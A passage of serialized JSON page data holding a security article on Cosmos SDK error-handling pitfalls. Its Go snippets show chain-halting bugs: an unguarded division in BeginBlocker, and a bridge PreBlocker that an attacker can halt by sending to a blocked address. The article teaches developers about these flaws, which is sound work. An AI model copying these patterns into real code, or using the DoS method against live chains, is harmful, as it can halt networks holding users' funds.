9},{"class":477,"line":2042},[80660],{"type":26,"tag":475,"props":80661,"children":80662},{"style":499},[80663],{"type":32,"value":3607},{"type":26,"tag":35,"props":80665,"children":80666},{},[80667,80669,80674,80676,80683,80684,80691],{"type":32,"value":80668},"Additional examples of incorrect ",{"type":26,"tag":53,"props":80670,"children":80672},{"className":80671},[],[80673],{"type":32,"value":78099},{"type":32,"value":80675}," usage include ",{"type":26,"tag":116,"props":80677,"children":80680},{"href":80678,"rel":80679},"https://jumpcrypto.com/writing/bypassing-ethermint-ante-handlers",[120],[80681],{"type":32,"value":80682},"yet more bypassable checks and loss of funds",{"type":32,"value":209},{"type":26,"tag":116,"props":80685,"children":80688},{"href":80686,"rel":80687},"https://github.com/cosmos/ibc-go/issues/853",[120],[80689],{"type":32,"value":80690},"incorrect data passing between blockchains",{"type":32,"value":353},{"type":26,"tag":27,"props":80693,"children":80695},{"id":80694},"errors-panics-i-can-handle-it",[80696],{"type":32,"value":80697},"Errors? Panics? I can handle it",{"type":26,"tag":35,"props":80699,"children":80700},{},[80701],{"type":32,"value":80702},"Smart contract developers are used to not properly handling errors. This is acceptable since most underlying blockchains revert all state changes when execution fails.",{"type":26,"tag":35,"props":80704,"children":80705},{},[80706],{"type":32,"value":80707},"Cosmos is designed to provide a similar experience. Whenever some message handler returns an error, changes to the persistent state are dropped. Panics are handled similarly, where a recovery handler is wrapped around the message execution to convert panics into errors for a downstream process.",{"type":26,"tag":35,"props":80709,"children":80710},{},[80711,80713,80719,80721,80726],{"type":32,"value":80712},"This design is pretty neat and allows developers to write code in a rather lazy way. For instance, the following code works perfectly fine. If ",{"type":26,"tag":53,"props":80714,"children":80716},{"className":80715},[],[80717],{"type":32,"value":80718},"k.keeper.TotalReward()",{"type":32,"value":80720}," returns zero, the ",{"type":26,"tag":53,"props":80722,"children":80724},{"className":80723},[],[80725],{"type":32,"value":57638},{"type":32,"value":80727}," execution will simply rollback as if nothing has happened.",{"type":26,"tag":465,"props":80729,"children":80731},{"code":80730,"language":75793,"meta":7,"className":75794,"style":7},"func (k msgServer) AllocateReward(\n goCtx context.Context,\n msg *types.MsgAllocateReward)\n(*types.MsgAllocatRewardResponse, error) {\n\n RewardPerShare := k.keeper.Shares() / k.keeper.TotalReward()\n k.keeper.DistributeReward(RewardPerShare)\n\n return &types.MsgAllocateRewardResponse, nil\n}\n",[80732],{"type":26,"tag":53,"props":80733,"children":80734},{"__ignoreMap":7},[80735,80768,80791,80819,80855,80862,80931,80969,80976,81008],{"type":26,"tag":475,"props":80736,"children":80737},{"class":477,"line":478},[80738,80742,80746,80751,80755,80759,80764],{"type":26,"tag":475,"props":80739,"children":80740},{"style":482},[80741],{"type":32,"value":75929},{"type":26,"tag":475,"props":80743,"children":80744},{"style":499},[80745],{"type":32,"value":2775},{"type":26,"tag":475,"props":80747,"children":80748},{"style":2375},[80749],{"type":32,"value":80750},"k ",{"type":26,"tag":475,"props":80752,"children":80753},{"style":505},[80754],{"type":32,"value":75943},{"type":26,"tag":475,"props":80756,"children":80757},{"style":499},[80758],{"type":32,"value":2794},{"type":26,"tag":475,"props":80760,"children":80761},{"style":493},[80762],{"type":32,"value":80763},"AllocateReward",{"type":26,"tag":475,"props":80765,"children":80766},{"style":499},[80767],{"type":32,"value":3169},{"type":26,"tag":475,"props":80769,"children":80770},{"class":477,"line":516},[80771,80775,80779,80783,80787],{"type":26,"tag":475,"props":80772,"children":80773},{"style":2375},[80774],{"type":32,"value":75964},{"type":26,"tag":475,"props":80776,"children":80777},{"style":505},[80778],{"type":32,"value":75969},{"type":26,"tag":475,"props":80780,"children":80781},{"style":499},[80782],{"type":32,"value":353},{"type":26,"tag":475,"props":80784,"children":80785},{"style":505},[80786],{"type":32,"value":75978},{"type":26,"tag":475,"props":80788,"children":80789},{"style":499},[80790],{"type":32,"value":2425},{"type":26,"tag":475,"props":80792,"children":80793},{"class":477,"line":539},[80794,80798,80802,80806,80810,80815],{"type":26,"tag":475,"props":80795,"children":80796},{"style":2375},[80797],{"type":32,"value":75990},{"type":26,"tag":475,"props":80799,"children":80800},{"style":714},[80801],{"type":32,"value":9525},{"type":26,"tag":475,"props":80803,"children":80804},{"style":505},[80805],{"type":32,"value":5471},{"type":26,"tag":475,"props":80807,"children":80808},{"style":499},[80809],{"type":32,"value":353},{"type":26,"tag":475,"props":80811,"children":80812},{"style":505},[80813],{"type":32,"value":80814},"MsgAllocateReward",{"type":26,"tag":475,"props":80816,"children":80817},{"style":499},[80818],{"type":32,"value":647},{"type":26,"tag":475,"props":80820,"children":80821},{"class":477,"line":548},[80822,80826,80830,80834,80838,80843,80847,80851],{"type":26,"tag":475,"props":80823,"children":80824},{"style":499},[80825],{"type":32,"value":626},{"type":26,"tag":475,"props":80827,"children":80828},{"style":714},[80829],{"type":32,"value":4282},{"type":26,"tag":475,"props":80831,"children":80832},{"style":505},[80833],{"type":32,"value":5471},{"type":26,"tag":475,"props":80835,"children":80836},{"style":499},[80837],{"type":32,"value":353},{"type":26,"tag":475,"props":80839,"children":80840},{"style":505},[80841],{"type":32,"value":80842},"MsgAllocatRewardResponse",{"type":26,"tag":475,"props":80844,"children":80845},{"style":499},[80846],{"type":32,"value":637},{"type":26,"tag":475,"props":80848,"children":80849},{"style":505},[80850],{"type":32,"value":14569},{"type":26,"tag":475,"props":80852,"children":80853},{"style":499},[80854],{"type":32,"value":676},{"type":26,"tag":475,"props":80856,"children":80857},{"class":477,"line":558},[80858],{"type":26,"tag":475,"props":80859,"children":80860},{"emptyLinePlaceholder":18},[80861],{"type":32,"value":545},{"type":26,"tag":475,"props":80863,"children":80864},{"class":477,"line":582},[80865,80870,80874,80879,80883,80888,80892,80897,80901,80905,80910,80914,80918,80922,80927],{"type":26,"tag":475,"props":80866,"children":80867},{"style":2375},[80868],{"type":32,"value":80869}," RewardPerShare",{"type":26,"tag":475,"props":80871,"children":80872},{"style":714},[80873],{"type":32,"value":76045},{"type":26,"tag":475,"props":80875,"children":80876},{"style":2375},[80877],{"type":32,"value":80878}," k",{"type":26,"tag":475,"props":80880,"children":80881},{"style":499},[80882],{"type":32,"value":353},{"type":26,"tag":475,"props":80884,"children":80885},{"style":2375},[80886],{"type":32,"value":80887},"keeper",{"type":26,"tag":475,"props":80889,"children":80890},{"style":499},[80891],{"type":32,"value":353},{"type":26,"tag":475,"props":80893,"children":80894},{"style":493},[80895],{"type":32,"value":80896},"Shares",{"type":26,"tag":475,"props":80898,"children":80899},{"style":499},[80900],{"type":32,"value":13750},{"type":26,"tag":475,"props":80902,"children":80903},{"style":714},[80904],{"type":32,"value":4292},{"type":26,"tag":475,"props":80906,"children":80907},{"style":2375},[80908],{"type":32,"value":80909}," k",{"type":26,"tag":475,"props":80911,"children":80912},{"style":499},[80913],{"type":32,"value":353},{"type":26,"tag":475,"props":80915,"children":80916},{"style":2375},[80917],{"type":32,"value":80887},{"type":26,"tag":475,"props":80919,"children":80920},{"style":499},[80921],{"type":32,"value":353},{"type":26,"tag":475,"props":80923,"children":80924},{"style":493},[80925],{"type":32,"value":80926},"TotalReward",{"type":26,"tag":475,"props":80928,"children":80929},{"style":499},[80930],{"type":32,"value":607},{"type":26,"tag":475,"props":80932,"children":80933},{"class":477,"line":596},[80934,80939,80943,80947,80951,80956,80960,80965],{"type":26,"tag":475,"props":80935,"children":80936},{"style":2375},[80937],{"type":32,"value":80938}," k",{"type":26,"tag":475,"props":80940,"children":80941},{"style":499},[80942],{"type":32,"value":353},{"type":26,"tag":475,"props":80944,"children":80945},{"style":2375},[80946],{"type":32,"value":80887},{"type":26,"tag":475,"props":80948,"children":80949},{"style":499},[80950],{"type":32,"value":353},{"type":26,"tag":475,"props":80952,"children":80953},{"style":493},[80954],{"type":32,"value":80955},"DistributeReward",{"type":26,"tag":475,"props":80957,"children":80958},{"style":499},[80959],{"type":32,"value":626},{"type":26,"tag":475,"props":80961,"children":80962},{"style":2375},[80963],{"type":32,"value":80964},"RewardPerShare",{"type":26,"tag":475,"props":80966,"children":80967},{"style":499},[80968],{"type":32,"value":647},{"type":26,"tag":475,"props":80970,"children":80971},{"class":477,"line":610},[80972],{"type":26,"tag":475,"props":80973,"children":80974},{"emptyLinePlaceholder":18},[80975],{"type":32,"value":545},{"type":26,"tag":475,"props":80977,"children":80978},{"class":477,"line":650},[80979,80983,80987,80991,80995,81000,81004],{"type":26,"tag":475,"props":80980,"children":80981},{"style":586},[80982],{"type":32,"value":16695},{"type":26,"tag":475,"props":80984,"children":80985},{"style":714},[80986],{"type":32,"value":6854},{"type":26,"tag":475,"props":80988,"children":80989},{"style":2375},[80990],{"type":32,"value":5471},{"type":26,"tag":475,"props":80992,"children":80993},{"style":499},[80994],{"type":32,"value":353},{"type":26,"tag":475,"props":80996,"children":80997},{"style":2375},[80998],{"type":32,"value":80999},"MsgAllocateRewardResponse",{"type":26,"tag":475,"props":81001,"children":81002},{"style":499},[81003],{"type":32,"value":637},{"type":26,"tag":475,"props":81005,"children":81006},{"style":482},[81007],{"type":32,"value":76271},{"type":26,"tag":475,"props":81009,"children":81010},{"class":477,"line":679},[81011],{"type":26,"tag":475,"props":81012,"children":81013},{"style":499},[81014],{"type":32,"value":3607},{"type":26,"tag":35,"props":81016,"children":81017},{},[81018,81020,81026,81027,81033,81034,81040,81042,81047],{"type":32,"value":81019},"However, the same assumption does not always hold. Certain parts of Cosmos, such as ",{"type":26,"tag":53,"props":81021,"children":81023},{"className":81022},[],[81024],{"type":32,"value":81025},"PreBlocker",{"type":32,"value":637},{"type":26,"tag":53,"props":81028,"children":81030},{"className":81029},[],[81031],{"type":32,"value":81032},"BeginBlocker",{"type":32,"value":6201},{"type":26,"tag":53,"props":81035,"children":81037},{"className":81036},[],[81038],{"type":32,"value":81039},"EndBlocker",{"type":32,"value":81041},", are not protected by the error handling mechanism. So, if we move the reward distribution logic into ",{"type":26,"tag":53,"props":81043,"children":81045},{"className":81044},[],[81046],{"type":32,"value":81032},{"type":32,"value":81048}," to automatically distribute rewards at the start of each block, panics raised by division by 0 will halt the chain.",{"type":26,"tag":465,"props":81050,"children":81052},{"code":81051,"language":75793,"meta":7,"className":75794,"style":7},"func BeginBlocker(ctx context.Context, keeper keeper.Keeper) error {\n\n RewardPerShare := keeper.Shares() / keeper.TotalReward()\n keeper.DistributeReward(RewardPerShare)\n\n return nil\n}\n",[81053],{"type":26,"tag":53,"props":81054,"children":81055},{"__ignoreMap":7},[81056,81121,81128,81176,81204,81211,81223],{"type":26,"tag":475,"props":81057,"children":81058},{"class":477,"line":478},[81059,81063,81068,81072,81076,81080,81084,81088,81092,81096,81101,81105,81109,81113,81117],{"type":26,"tag":475,"props":81060,"children":81061},{"style":482},[81062],{"type":32,"value":75929},{"type":26,"tag":475,"props":81064,"children":81065},{"style":493},[81066],{"type":32,"value":81067}," BeginBlocker",{"type":26,"tag":475,"props":81069,"children":81070},{"style":499},[81071],{"type":32,"value":626},{"type":26,"tag":475,"props":81073,"children":81074},{"style":2375},[81075],{"type":32,"value":19988},{"type":26,"tag":475,"props":81077,"children":81078},{"style":505},[81079],{"type":32,"value":75969},{"type":26,"tag":475,"props":81081,"children":81082},{"style":499},[81083],{"type":32,"value":353},{"type":26,"tag":475,"props":81085,"children":81086},{"style":505},[81087],{"type":32,"value":75978},{"type":26,"tag":475,"props":81089,"children":81090},{"style":499},[81091],{"type":32,"value":637},{"type":26,"tag":475,"props":81093,"children":81094},{"style":2375},[81095],{"type":32,"value":80887},{"type":26,"tag":475,"props":81097,"children":81098},{"style":505},[81099],{"type":32,"value":81100}," keeper",{"type":26,"tag":475,"props":81102,"children":81103},{"style":499},[81104],{"type":32,"value":353},{"type":26,"tag":475,"props":81106,"children":81107},{"style":505},[81108],{"type":32,"value":79574},{"type":26,"tag":475,"props":81110,"children":81111},{"style":499},[81112],{"type":32,"value":2794},{"type":26,"tag":475,"props":81114,"children":81115},{"style":505},[81116],{"type":32,"value":14569},{"type":26,"tag":475,"props":81118,"children":81119},{"style":499},[81120],{"type":32,"value":579},{"type":26,"tag":475,"props":81122,"children":81123},{"class":477,"line":516},[81124],{"type":26,"tag":475,"props":81125,"children":81126},{"emptyLinePlaceholder":18},[81127],{"type":32,"value":545},{"type":26,"tag":475,"props":81129,"children":81130},{"class":477,"line":539},[81131,81135,81139,81143,81147,81151,81155,81159,81164,81168,81172],{"type":26,"tag":475,"props":81132,"children":81133},{"style":2375},[81134],{"type":32,"value":80869},{"type":26,"tag":475,"props":81136,"children":81137},{"style":714},[81138],{"type":32,"value":76045},{"type":26,"tag":475,"props":81140,"children":81141},{"style":2375},[81142],{"type":32,"value":81100},{"type":26,"tag":475,"props":81144,"children":81145},{"style":499},[81146],{"type":32,"value":353},{"type":26,"tag":475,"props":81148,"children":81149},{"style":493},[81150],{"type":32,"value":80896},{"type":26,"tag":475,"props":81152,"children":81153},{"style":499},[81154],{"type":32,"value":13750},{"type":26,"tag":475,"props":81156,"children":81157},{"style":714},[81158],{"type":32,"value":4292},{"type":26,"tag":475,"props":81160,"children":81161},{"style":2375},[81162],{"type":32,"value":81163}," keeper",{"type":26,"tag":475,"props":81165,"children":81166},{"style":499},[81167],{"type":32,"value":353},{"type":26,"tag":475,"props":81169,"children":81170},{"style":493},[81171],{"type":32,"value":80926},{"type":26,"tag":475,"props":81173,"children":81174},{"style":499},[81175],{"type":32,"value":607},{"type":26,"tag":475,"props":81177,"children":81178},{"class":477,"line":548},[81179,81184,81188,81192,81196,81200],{"type":26,"tag":475,"props":81180,"children":81181},{"style":2375},[81182],{"type":32,"value":81183}," keeper",{"type":26,"tag":475,"props":81185,"children":81186},{"style":499},[81187],{"type":32,"value":353},{"type":26,"tag":475,"props":81189,"children":81190},{"style":493},[81191],{"type":32,"value":80955},{"type":26,"tag":475,"props":81193,"children":81194},{"style":499},[81195],{"type":32,"value":626},{"type":26,"tag":475,"props":81197,"children":81198},{"style":2375},[81199],{"type":32,"value":80964},{"type":26,"tag":475,"props":81201,"children":81202},{"style":499},[81203],{"type":32,"value":647},{"type":26,"tag":475,"props":81205,"children":81206},{"class":477,"line":558},[81207],{"type":26,"tag":475,"props":81208,"children":81209},{"emptyLinePlaceholder":18},[81210],{"type":32,"value":545},{"type":26,"tag":475,"props":81212,"children":81213},{"class":477,"line":582},[81214,81218],{"type":26,"tag":475,"props":81215,"children":81216},{"style":586},[81217],{"type":32,"value":52557},{"type":26,"tag":475,"props":81219,"children":81220},{"style":482},[81221],{"type":32,"value":81222}," nil\n",{"type":26,"tag":475,"props":81224,"children":81225},{"class":477,"line":596},[81226],{"type":26,"tag":475,"props":81227,"children":81228},{"style":499},[81229],{"type":32,"value":3607},{"type":26,"tag":41,"props":81231,"children":81233},{"id":81232},"real-world-examples-3",[81234],{"type":32,"value":76318},{"type":26,"tag":35,"props":81236,"children":81237},{},[81238],{"type":32,"value":81239},"Recently, developers have become increasingly aware of unprotected ABCI functions, but this doesn't stop DoS bugs from manifesting. So what is the catch?",{"type":26,"tag":35,"props":81241,"children":81242},{},[81243,81245,81251,81253,81258,81260,81266,81268,81274,81276,81282],{"type":32,"value":81244},"The problem lies in the lack of proper understanding of utility functions. The example here implements a bridge that mints wrapped BTC tokens in the PreBlocker when bridging events are observed. Notably, errors returned by ",{"type":26,"tag":53,"props":81246,"children":81248},{"className":81247},[],[81249],{"type":32,"value":81250},"bankKeeper.SendCoinsFromModuleToAccount",{"type":32,"value":81252}," will be bubbled up through ",{"type":26,"tag":53,"props":81254,"children":81256},{"className":81255},[],[81257],{"type":32,"value":81025},{"type":32,"value":81259}," and halt the chain. It turns out an attacker can force ",{"type":26,"tag":53,"props":81261,"children":81263},{"className":81262},[],[81264],{"type":32,"value":81265},"SendCoinsFromModuleToAccount",{"type":32,"value":81267}," to return an error by setting ",{"type":26,"tag":53,"props":81269,"children":81271},{"className":81270},[],[81272],{"type":32,"value":81273},"recipient",{"type":32,"value":81275}," to some ",{"type":26,"tag":53,"props":81277,"children":81279},{"className":81278},[],[81280],{"type":32,"value":81281},"BlockedAddr",{"type":32,"value":81283},",rendering the code susceptible to DoS attacks.",{"type":26,"tag":35,"props":81285,"children":81286},{},[81287],{"type":26,"tag":116,"props":81288,"children":81291},{"href":81289,"rel":81290},"https://github.com/mezo-org/mezod/blob/d3b1a049a9acce977fdadd245cb381252f101922/x/bridge/keeper/assets_locked.go#L170",[120],[81292],{"type":32,"value":76368},{"type":26,"tag":465,"props":81294,"children":81296},{"code":81295,"language":75793,"meta":7,"className":75794,"style":7},"func (pbh *PreBlockHandler) PreBlocker() sdk.PreBlocker {\n return func(\n ctx sdk.Context,\n req *cmtabci.RequestFinalizeBlock,\n ) (*sdk.ResponsePreBlock, error) {\n ...\n err := pbh.bridgeKeeper.AcceptAssetsLocked(ctx, events)\n if err != nil {\n return nil, fmt.Errorf(\"cannot accept AssetsLocked events: %w\", err)\n }\n ...\n }\n}\n\nfunc (k Keeper) AcceptAssetsLocked(\n ctx sdk.Context,\n events types.AssetsLockedEvents,\n) error {\n ...\n for _, event := range events {\n recipient, err := sdk.AccAddressFromBech32(event.Recipient)\n if err != nil {\n return fmt.Errorf(\"failed to parse recipient address: %w\", err)\n }\n\n if bytes.Equal(event.TokenBytes(), sourceBTCToken) {\n err = k.mintBTC(ctx, recipient, event.Amount)\n if err != nil {\n return fmt.Errorf(\n \"failed to mint BTC for event %v: %w\",\n event.Sequence,\n err,\n )\n }\n } else {\n ...\n }\n }\n ...\n}\n\nfunc (k Keeper) mintBTC(\n ctx sdk.Context,\n recipient sdk.AccAddress,\n amount math.Int,\n) error {\n ...\n err = k.bankKeeper.SendCoinsFromModuleToAccount(\n ctx,\n types.ModuleName,\n recipient,\n coins,\n )\n if err != nil {\n return fmt.Errorf(\"failed to send coins: %w\", err)\n }\n ...\n}\n",[81297],{"type":26,"tag":53,"props":81298,"children":81299},{"__ignoreMap":7},[81300,81353,81368,81391,81421,81457,81465,81521,81545,81595,81602,81609,81616,81623,81630,81661,81684,81709,81724,81731,81768,81822,81845,81886,81893,81900,81951,82012,82035,82058,82070,82091,82103,82111,82118,82133,82141,82148,82155,82162,82169,82176,82207,82230,82255,82280,82295,82302,82339,82350,82371,82382,82394,82401,82424,82464,82471,82478],{"type":26,"tag":475,"props":81301,"children":81302},{"class":477,"line":478},[81303,81307,81311,81316,81320,81325,81329,81333,81337,81341,81345,81349],{"type":26,"tag":475,"props":81304,"children":81305},{"style":482},[81306],{"type":32,"value":75929},{"type":26,"tag":475,"props":81308,"children":81309},{"style":499},[81310],{"type":32,"value":2775},{"type":26,"tag":475,"props":81312,"children":81313},{"style":2375},[81314],{"type":32,"value":81315},"pbh ",{"type":26,"tag":475,"props":81317,"children":81318},{"style":714},[81319],{"type":32,"value":4282},{"type":26,"tag":475,"props":81321,"children":81322},{"style":505},[81323],{"type":32,"value":81324},"PreBlockHandler",{"type":26,"tag":475,"props":81326,"children":81327},{"style":499},[81328],{"type":32,"value":2794},{"type":26,"tag":475,"props":81330,"children":81331},{"style":493},[81332],{"type":32,"value":81025},{"type":26,"tag":475,"props":81334,"children":81335},{"style":499},[81336],{"type":32,"value":13750},{"type":26,"tag":475,"props":81338,"children":81339},{"style":505},[81340],{"type":32,"value":78359},{"type":26,"tag":475,"props":81342,"children":81343},{"style":499},[81344],{"type":32,"value":353},{"type":26,"tag":475,"props":81346,"children":81347},{"style":505},[81348],{"type":32,"value":81025},{"type":26,"tag":475,"props":81350,"children":81351},{"style":499},[81352],{"type":32,"value":579},{"type":26,"tag":475,"props":81354,"children":81355},{"class":477,"line":516},[81356,81360,81364],{"type":26,"tag":475,"props":81357,"children":81358},{"style":586},[81359],{"type":32,"value":16695},{"type":26,"tag":475,"props":81361,"children":81362},{"style":482},[81363],{"type":32,"value":79638},{"type":26,"tag":475,"props":81365,"children":81366},{"style":499},[81367],{"type":32,"value":3169},{"type":26,"tag":475,"props":81369,"children":81370},{"class":477,"line":539},[81371,81375,81379,81383,81387],{"type":26,"tag":475,"props":81372,"children":81373},{"style":2375},[81374],{"type":32,"value":25887},{"type":26,"tag":475,"props":81376,"children":81377},{"style":505},[81378],{"type":32,"value":78270},{"type":26,"tag":475,"props":81380,"children":81381},{"style":499},[81382],{"type":32,"value":353},{"type":26,"tag":475,"props":81384,"children":81385},{"style":505},[81386],{"type":32,"value":75978},{"type":26,"tag":475,"props":81388,"children":81389},{"style":499},[81390],{"type":32,"value":2425},{"type":26,"tag":475,"props":81392,"children":81393},{"class":477,"line":548},[81394,81399,81403,81408,81412,81417],{"type":26,"tag":475,"props":81395,"children":81396},{"style":2375},[81397],{"type":32,"value":81398}," req",{"type":26,"tag":475,"props":81400,"children":81401},{"style":714},[81402],{"type":32,"value":9525},{"type":26,"tag":475,"props":81404,"children":81405},{"style":505},[81406],{"type":32,"value":81407},"cmtabci",{"type":26,"tag":475,"props":81409,"children":81410},{"style":499},[81411],{"type":32,"value":353},{"type":26,"tag":475,"props":81413,"children":81414},{"style":505},[81415],{"type":32,"value":81416},"RequestFinalizeBlock",{"type":26,"tag":475,"props":81418,"children":81419},{"style":499},[81420],{"type":32,"value":2425},{"type":26,"tag":475,"props":81422,"children":81423},{"class":477,"line":558},[81424,81428,81432,81436,81440,81445,81449,81453],{"type":26,"tag":475,"props":81425,"children":81426},{"style":499},[81427],{"type":32,"value":79706},{"type":26,"tag":475,"props":81429,"children":81430},{"style":714},[81431],{"type":32,"value":4282},{"type":26,"tag":475,"props":81433,"children":81434},{"style":505},[81435],{"type":32,"value":78359},{"type":26,"tag":475,"props":81437,"children":81438},{"style":499},[81439],{"type":32,"value":353},{"type":26,"tag":475,"props":81441,"children":81442},{"style":505},[81443],{"type":32,"value":81444},"ResponsePreBlock",{"type":26,"tag":475,"props":81446,"children":81447},{"style":499},[81448],{"type":32,"value":637},{"type":26,"tag":475,"props":81450,"children":81451},{"style":505},[81452],{"type":32,"value":14569},{"type":26,"tag":475,"props":81454,"children":81455},{"style":499},[81456],{"type":32,"value":676},{"type":26,"tag":475,"props":81458,"children":81459},{"class":477,"line":582},[81460],{"type":26,"tag":475,"props":81461,"children":81462},{"style":714},[81463],{"type":32,"value":81464}," ...\n",{"type":26,"tag":475,"props":81466,"children":81467},{"class":477,"line":596},[81468,81473,81477,81482,81486,81491,81495,81500,81504,81508,81512,81517],{"type":26,"tag":475,"props":81469,"children":81470},{"style":2375},[81471],{"type":32,"value":81472}," err",{"type":26,"tag":475,"props":81474,"children":81475},{"style":714},[81476],{"type":32,"value":76045},{"type":26,"tag":475,"props":81478,"children":81479},{"style":2375},[81480],{"type":32,"value":81481}," pbh",{"type":26,"tag":475,"props":81483,"children":81484},{"style":499},[81485],{"type":32,"value":353},{"type":26,"tag":475,"props":81487,"children":81488},{"style":2375},[81489],{"type":32,"value":81490},"bridgeKeeper",{"type":26,"tag":475,"props":81492,"children":81493},{"style":499},[81494],{"type":32,"value":353},{"type":26,"tag":475,"props":81496,"children":81497},{"style":493},[81498],{"type":32,"value":81499},"AcceptAssetsLocked",{"type":26,"tag":475,"props":81501,"children":81502},{"style":499},[81503],{"type":32,"value":626},{"type":26,"tag":475,"props":81505,"children":81506},{"style":2375},[81507],{"type":32,"value":19988},{"type":26,"tag":475,"props":81509,"children":81510},{"style":499},[81511],{"type":32,"value":637},{"type":26,"tag":475,"props":81513,"children":81514},{"style":2375},[81515],{"type":32,"value":81516},"events",{"type":26,"tag":475,"props":81518,"children":81519},{"style":499},[81520],{"type":32,"value":647},{"type":26,"tag":475,"props":81522,"children":81523},{"class":477,"line":610},[81524,81528,81532,81536,81541],{"type":26,"tag":475,"props":81525,"children":81526},{"style":586},[81527],{"type":32,"value":2980},{"type":26,"tag":475,"props":81529,"children":81530},{"style":2375},[81531],{"type":32,"value":48214},{"type":26,"tag":475,"props":81533,"children":81534},{"style":714},[81535],{"type":32,"value":64079},{"type":26,"tag":475,"props":81537,"children":81538},{"style":482},[81539],{"type":32,"value":81540}," nil",{"type":26,"tag":475,"props":81542,"children":81543},{"style":499},[81544],{"type":32,"value":579},{"type":26,"tag":475,"props":81546,"children":81547},{"class":477,"line":650},[81548,81552,81556,81560,81565,81569,81574,81578,81583,81587,81591],{"type":26,"tag":475,"props":81549,"children":81550},{"style":586},[81551],{"type":32,"value":78705},{"type":26,"tag":475,"props":81553,"children":81554},{"style":482},[81555],{"type":32,"value":81540},{"type":26,"tag":475,"props":81557,"children":81558},{"style":499},[81559],{"type":32,"value":637},{"type":26,"tag":475,"props":81561,"children":81562},{"style":2375},[81563],{"type":32,"value":81564},"fmt",{"type":26,"tag":475,"props":81566,"children":81567},{"style":499},[81568],{"type":32,"value":353},{"type":26,"tag":475,"props":81570,"children":81571},{"style":493},[81572],{"type":32,"value":81573},"Errorf",{"type":26,"tag":475,"props":81575,"children":81576},{"style":499},[81577],{"type":32,"value":626},{"type":26,"tag":475,"props":81579,"children":81580},{"style":629},[81581],{"type":32,"value":81582},"\"cannot accept AssetsLocked events: %w\"",{"type":26,"tag":475,"props":81584,"children":81585},{"style":499},[81586],{"type":32,"value":637},{"type":26,"tag":475,"props":81588,"children":81589},{"style":2375},[81590],{"type":32,"value":48113},{"type":26,"tag":475,"props":81592,"children":81593},{"style":499},[81594],{"type":32,"value":647},{"type":26,"tag":475,"props":81596,"children":81597},{"class":477,"line":679},[81598],{"type":26,"tag":475,"props":81599,"children":81600},{"style":499},[81601],{"type":32,"value":750},{"type":26,"tag":475,"props":81603,"children":81604},{"class":477,"line":735},[81605],{"type":26,"tag":475,"props":81606,"children":81607},{"style":714},[81608],{"type":32,"value":81464},{"type":26,"tag":475,"props":81610,"children":81611},{"class":477,"line":744},[81612],{"type":26,"tag":475,"props":81613,"children":81614},{"style":499},[81615],{"type":32,"value":851},{"type":26,"tag":475,"props":81617,"children":81618},{"class":477,"line":753},[81619],{"type":26,"tag":475,"props":81620,"children":81621},{"style":499},[81622],{"type":32,"value":3607},{"type":26,"tag":475,"props":81624,"children":81625},{"class":477,"line":761},[81626],{"type":26,"tag":475,"props":81627,"children":81628},{"emptyLinePlaceholder":18},[81629],{"type":32,"value":545},{"type":26,"tag":475,"props":81631,"children":81632},{"class":477,"line":770},[81633,81637,81641,81645,81649,81653,81657],{"type":26,"tag":475,"props":81634,"children":81635},{"style":482},[81636],{"type":32,"value":75929},{"type":26,"tag":475,"props":81638,"children":81639},{"style":499},[81640],{"type":32,"value":2775},{"type":26,"tag":475,"props":81642,"children":81643},{"style":2375},[81644],{"type":32,"value":80750},{"type":26,"tag":475,"props":81646,"children":81647},{"style":505},[81648],{"type":32,"value":79574},{"type":26,"tag":475,"props":81650,"children":81651},{"style":499},[81652],{"type":32,"value":2794},{"type":26,"tag":475,"props":81654,"children":81655},{"style":493},[81656],{"type":32,"value":81499},{"type":26,"tag":475,"props":81658,"children":81659},{"style":499},[81660],{"type":32,"value":3169},{"type":26,"tag":475,"props":81662,"children":81663},{"class":477,"line":794},[81664,81668,81672,81676,81680],{"type":26,"tag":475,"props":81665,"children":81666},{"style":2375},[81667],{"type":32,"value":19931},{"type":26,"tag":475,"props":81669,"children":81670},{"style":505},[81671],{"type":32,"value":78270},{"type":26,"tag":475,"props":81673,"children":81674},{"style":499},[81675],{"type":32,"value":353},{"type":26,"tag":475,"props":81677,"children":81678},{"style":505},[81679],{"type":32,"value":75978},{"type":26,"tag":475,"props":81681,"children":81682},{"style":499},[81683],{"type":32,"value":2425},{"type":26,"tag":475,"props":81685,"children":81686},{"class":477,"line":831},[81687,81692,81696,81700,81705],{"type":26,"tag":475,"props":81688,"children":81689},{"style":2375},[81690],{"type":32,"value":81691}," events",{"type":26,"tag":475,"props":81693,"children":81694},{"style":505},[81695],{"type":32,"value":77804},{"type":26,"tag":475,"props":81697,"children":81698},{"style":499},[81699],{"type":32,"value":353},{"type":26,"tag":475,"props":81701,"children":81702},{"style":505},[81703],{"type":32,"value":81704},"AssetsLockedEvents",{"type":26,"tag":475,"props":81706,"children":81707},{"style":499},[81708],{"type":32,"value":2425},{"type":26,"tag":475,"props":81710,"children":81711},{"class":477,"line":845},[81712,81716,81720],{"type":26,"tag":475,"props":81713,"children":81714},{"style":499},[81715],{"type":32,"value":2794},{"type":26,"tag":475,"props":81717,"children":81718},{"style":505},[81719],{"type":32,"value":14569},{"type":26,"tag":475,"props":81721,"children":81722},{"style":499},[81723],{"type":32,"value":579},{"type":26,"tag":475,"props":81725,"children":81726},{"class":477,"line":854},[81727],{"type":26,"tag":475,"props":81728,"children":81729},{"style":714},[81730],{"type":32,"value":20047},{"type":26,"tag":475,"props":81732,"children":81733},{"class":477,"line":862},[81734,81738,81742,81746,81751,81755,81759,81764],{"type":26,"tag":475,"props":81735,"children":81736},{"style":586},[81737],{"type":32,"value":2737},{"type":26,"tag":475,"props":81739,"children":81740},{"style":2375},[81741],{"type":32,"value":2742},{"type":26,"tag":475,"props":81743,"children":81744},{"style":499},[81745],{"type":32,"value":637},{"type":26,"tag":475,"props":81747,"children":81748},{"style":2375},[81749],{"type":32,"value":81750},"event",{"type":26,"tag":475,"props":81752,"children":81753},{"style":714},[81754],{"type":32,"value":76045},{"type":26,"tag":475,"props":81756,"children":81757},{"style":586},[81758],{"type":32,"value":77028},{"type":26,"tag":475,"props":81760,"children":81761},{"style":2375},[81762],{"type":32,"value":81763}," events",{"type":26,"tag":475,"props":81765,"children":81766},{"style":499},[81767],{"type":32,"value":579},{"type":26,"tag":475,"props":81769,"children":81770},{"class":477,"line":885},[81771,81776,81780,81784,81788,81792,81796,81801,81805,81809,81813,81818],{"type":26,"tag":475,"props":81772,"children":81773},{"style":2375},[81774],{"type":32,"value":81775}," 